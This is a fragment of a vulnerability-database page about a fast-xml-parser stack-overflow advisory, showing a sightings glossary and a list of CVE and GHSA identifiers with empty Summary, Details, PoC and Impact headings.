  "summary": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

Vulnerability from cleanstart

CVE-2025-25285 (GCVE-0-2025-25285)

CVE-2026-21637 (GCVE-0-2026-21637)

GHSA-RMVR-2PP2-XJ38

Summary

Details

PoC

Impact

GHSA-7R86-CG39-JMMJ

Summary

Details

PoC

Impact

GHSA-FJ3W-JWP8-X2G3

Impact

Patches

Workarounds

References

Tags

Sightings

Nomenclature